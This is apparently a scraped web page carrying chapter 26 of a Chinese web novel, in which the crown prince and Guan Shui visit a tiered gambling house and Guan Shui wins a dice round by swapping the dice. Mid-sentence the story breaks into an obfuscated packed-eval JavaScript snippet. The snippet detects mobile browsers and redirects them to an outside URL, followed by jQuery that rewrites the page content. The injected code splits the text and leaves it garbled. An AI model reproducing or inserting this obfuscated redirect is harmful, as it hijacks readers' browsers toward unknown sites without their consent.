26. 开盘
作品:《被纳外室后晋升太子妃》 因离渊唇齿微张,做了口型却没发出声音:钓鱼。
关水极淡地瞥了他一眼,没说什么。
太子殿下笑笑,不知道从哪里摸出一把折扇递给了他,:“今日咱们就是来赌的,公子,这边请。”
关水顿了几息,还是接过了扇子,向前走去。
眼前楼坊通体漆黑,灯亮如昼,内里时不时传来三五吆喝,筹码碰撞的声音早早传入了他的耳朵。
关水步子比较快,走在因离渊前头,他一手背负在腰后,一手揣了把扇子,端的是一副我有钱来宰我的贵公子模样。
“两位,请交纳入场费,一人一两白银。”门口的护卫拦住了他们,将来人从头到脚一一打量。
关水站在原地给自己扇了扇风,然后让出一步,给太子殿下发挥的余地。
因离渊从袖口摸出二两碎银,扔了过去,冷声道:“够了吗?”
护卫接过后确认一遍,确认无误才让开。
关水继续朝里走,随着深入,喧闹声更大了些,这时,附近的一个灰衣男子迎上来。
他面带笑容,格外谄媚:“公子有点眼生啊,敢问两位,是想来我如意坊耍耍,还是想下场跟注啊?我们这儿有六层席位,公子想入哪一席?”
“六层席位?”关水摇扇掩住下半张脸,那双水润的眼珠看向因离渊。
因离渊站到他面前来,挡住了那灰衣掌柜看向青年的目光,将一块红色令牌扔了过去,朗声道:“我家公子要坐葵庚席。”
灰衣掌柜接过,对光细看了一番,在看到令牌侧边的虎头后,神色一凝:“原来是贵客,二位,这边请。”
关水在他的带领下上了楼,因离渊紧随其后,越往上走,这赌坊的样子越不一样。
一楼只是大厅,烛光没那么明亮,摆的桌子也颇为陈旧,只胜在够大。
但旁边跟注的人挤了一团,赌徒们面色狰狞,已然不顾场合随时呼喝。
上了二楼,这里的人穿地比下面体面了些,但仍改不了呼喝的习惯,周围多了十来个膀大腰圆的大汉,一遇到争执的人便上前镇压。
而他们要上的三楼,不再是全挤在一起,里面有独立的雅间,灰衣掌柜先带着关水和因离渊进了账房,他问道:“这里有灰、白、蓝、黄、红五色筹,其中灰色一两,白色五两,蓝色十两,黄色五十,红色一百,公子想换多少?”
因离渊:“各种都换些,你看着来。”
掌柜的付之一笑,看出这两人并不是经常混迹行场的人:“那便按照一般人换的银两数给两位兑,贵客先稍等。”
他说完便领着他们去了一旁新开的雅间坐着:“我去给公子上壶茶水。”
人走后,关水寻了个干净的位置坐下:“之后要我干什么?”
因离渊跟着坐过去,和人挤在一起:“跟着下注就好,今日是专程带你出来,玩的开心。”
关水眨眨眼,把他凑过来的头用折扇抵走:“我输了可不会赔你什么银钱。”
因离渊拿一个鼓鼓囊囊的荷包,放到青年怀里:“我的银钱就是夫人的银钱,夫人自然想怎么用就这么用。”
关水掂了掂重量,解开绳子看了看,好家伙,里面金的,银的,还有铜的,一应俱全。
“他刚才说的大家一般换多少?”
因离渊支着下巴:“应该……最少也有一百两吧。”
关水惊愕:“这么多?”
“他们见人下菜碟的。”因离渊指了指他们的装束。
关水懂了,这还是定制的杀猪盘。
两个人说话间,外面有脚步声靠近,因离渊止了回答,揽住青年的腰靠近:“有人来了,噤声。”
来的明显不止一个人,听声音脚步略为虚浮,像是饮多了酒,被人搀着。
那人口齿不清,说话有点大舌头,是个年轻的男客。
“掌柜的,让账房……再给我拿几个红……红筹,我我,我还要继续!”
另一道中年男声劝慰道:“汪公子,您可不能再跟下去了,再跟下去汪大人可要那我是问了,您呐站这么久也累了,回雅间休息去吧,昂。”
接着是衣料摩擦的声音,那汪公子似乎挣扎了一下,估计没挣过,被几个打手给扶走了,几个人很快从关水他们门前走过。
关水正放着耳朵听梢,没听到什么重要的信息,没过多久又一阵脚步声传来,他慌了一瞬,下意识推了推因离渊的腰。
“你快下去,这样挤着坐不太好。”
因离渊非但没松开,反而将他搂地更紧,在青年唇上亲了一口,语气温柔:“过段时间,便跟着我一起回京都吧。”
!!!
关水听到他的话差点没怀疑自己的耳朵:“回京……京都?!”
因离渊丢下这么一个重磅炸弹就离开座位,他看向门口,来的不是原来那位灰衣掌柜,而是一位身着蓝衣的掌柜。
看他的脸比灰衣掌柜要更红润一些,额头上的褶子也平展不少,见到关水和因离渊,他朗然一笑,声如洪钟。
“贵客,这是您二位的筹码,都在这里了。”
关水点头,因离渊也跟着颔首。
蓝衣掌柜笑眯眯的:“方才我听灰衣说,二位持的是虎头牌。”
“正是,掌柜的可有什么事?”
“不知可否能拿给我辨认一番?”
因离渊眉峰下压,上前:“怎么,掌柜的不信?”
“公子赎罪,”蓝衣掌柜一拱手,“这虎头牌乃是我如意坊出品。”
“不过此地持有此牌的主人家我都认识,为了保证贵客的安全,只是来确认一番。都是我等分内之事,还请公子不要责怪。”
他说的冠冕堂皇,眉眼间却无多少敬意,显然背后定有人撑腰。
因离渊嗤笑一声,解下身上的虎头牌给他查看:“信物在此。”
蓝衣掌柜接过,细细查看,良久,蹙起了眉:“这,果真不似假物。”
他抬起头打量着关水和因离渊,说道:“两位公子可否通下姓名,我注明一二,下次便不会有不长眼的过来拦二位了。”
听到这句话,关水瞥了他一眼,还真是能屈能伸,自己也能骂。
因离渊摆手,叹气:“罢了罢了,吴某兴致全无,兴致全无。”
蓝衣掌柜笑哼了一声:“不如这样,我为贵客升级席位,走上一层?”
“当真?”
“当真。”
几人这才又起了身,朝四层走去。
路上不止有蓝衣掌柜带着他们,还来了个穿着墨绿色服饰的人过来,似乎也是一位掌柜。
趁着蓝衣在前面领路,他凑过来:“两位莫要怪罪,蓝衣他也是奉命查验,并不坏心,这样吧,我为二位再续三个蓝筹可好?”
“蓝筹?不过30两,吴某和朋友还看不起这点。”
绿衣掌柜笑道:“非也非也,公子想必从长辈手里拿到牌子后,还未曾来过我们如意坊,蓝阶以上的陪侍掌柜可以动用一级蓝筹,对比下面的蓝筹可是高上十倍。”
“这么样,公子?考虑考虑?”
因离渊还在考虑,关水突然侧着身子,展扇掩住自己的唇形,附耳过来:“你真要来?”
因离渊回过去,唇峰擦过对方的耳朵:“自是要来。”
绿衣掌柜在前面:“两位?两位?想好了吗?”
关水一个肘击把人肘开,清咳了一声:“来,来。”
他们又一次去了新的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434052|200178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
账房换筹码,果然如绿衣掌柜所说,这里的人大多在用一种颜色更深的筹在放。
他们一开始没多少声音,一心一意沉浸在揭盘的那一刻,最后开盘,有的欢呼,有的失落,虽然看起来没有楼下那么疯狂,但手边的筹额,可以说是底下人好几年的花销。
关水注视着,如果说刚进来时,赌坊给他的感觉是吞吃人欲望的食人花,所有人都赤头白脸往上挤,那么现在就是诱惑人深入的巨兽。
不自觉的,他心中升起了些许反感。
青年走到一盘新开的桌子,抬手就甩出了三张蓝筹。
有人看着他的脸,不由地发笑:“兄弟,有点眼生啊。”
说完还凑上来,想要搂住关水的脖子,被因离渊一个眼神给瞪走。
离开前吐槽:“真是,两个新来的也敢这么嚣张,看待会儿不把你们输的裤衩子都不剩。”
旁边的人也笑:“哟,前几天招惹了刘二少还不够,今天又想碰碰新来的?”
“别又惹上硬茬了,被打地渣都不剩哈哈哈哈……”
随即转过头看回来:“这位兄弟贵姓啊?”
关水臭着脸:“吴。”
“吴兄弟,你恐怕是第一次来玩儿吧,咱们这儿的规矩,新人第一场只用下两个白筹,用不着这么多。”
关水:“不用,我心里有数。”
那人见劝不了他,摇摇头回去了。
赌局已开,所有人回到自己的位置。
这是一局摇骰押注的玩法,比的是点数,庄家摇蛊,出三骰而开。
关水突然拦住要放骰子的人,语气凝重:“你这骰子……”
其余人心头一紧,正要说话。
青年忽又补了后面的话:“应该没做什么手脚吧。”
“哈哈哈哈哈哈哈……”众人哄笑一团,“小兄弟说话可要注意,这如意坊盘大,掌事的可是汪老爷,他的为人……可不用多说。”
“哦?原来是他,那我便放心了,”关水放下手,静静站回自己的位置,“开始吧。”
几把下来,关水将点数只压在十和十一,连输了好几把,先前还以为他要放大招的人纷纷离去,后面甚至再无人跟注。
第六把,又到了揭晓的时刻。
关水手握成拳,捂着唇咳了咳,语气中含着可惜:“看来这把又没希望了。”
因离渊走过来:“公子不用担心,我这儿还多的是。”
他手一摊,又拿出一大把深色红筹。
所有人目瞪口呆,在这儿的哪个不是有权有势的,期间倒是有人用过这种红筹,但一次性换了这么一大把的,可谓寥寥无几。
关水也跟着转回去,他踮着脚,手臂撑上因离渊的肩膀:“这么嚣张?”
因离渊僵了一下,片刻后回道:“有钱,公子继续就是。”
一伙人被他这一手整地红了眼,开始叫嚣:“开开开!灭了他的气焰!”
“是啊,庄家快开!”
捂蛊的人是一个穿着布衣的小子,他抬头看看关水,又看看周围起哄的人,总算抬起手掀开盅蛊。
众人低头一看。
六二三,将好十一。
“否极泰来啊,吴兄弟哈哈哈哈哈哈哈……”
“真是小看了这小子!”
“竟真的是他的点数,是巧合?”
“第六把他赢了我们所有人啊,按赔率……嘶……”
“我的银子!我的筹码!”
这边哀嚎一片,惹的其余桌的人纷纷看过来,但很快另一边又开了盘,那些视线又被转移了回去。
在场所有人,只有因离渊僵着身子,他攥着袖子的掌心里。
正是关水刚刚塞过来的骰子。

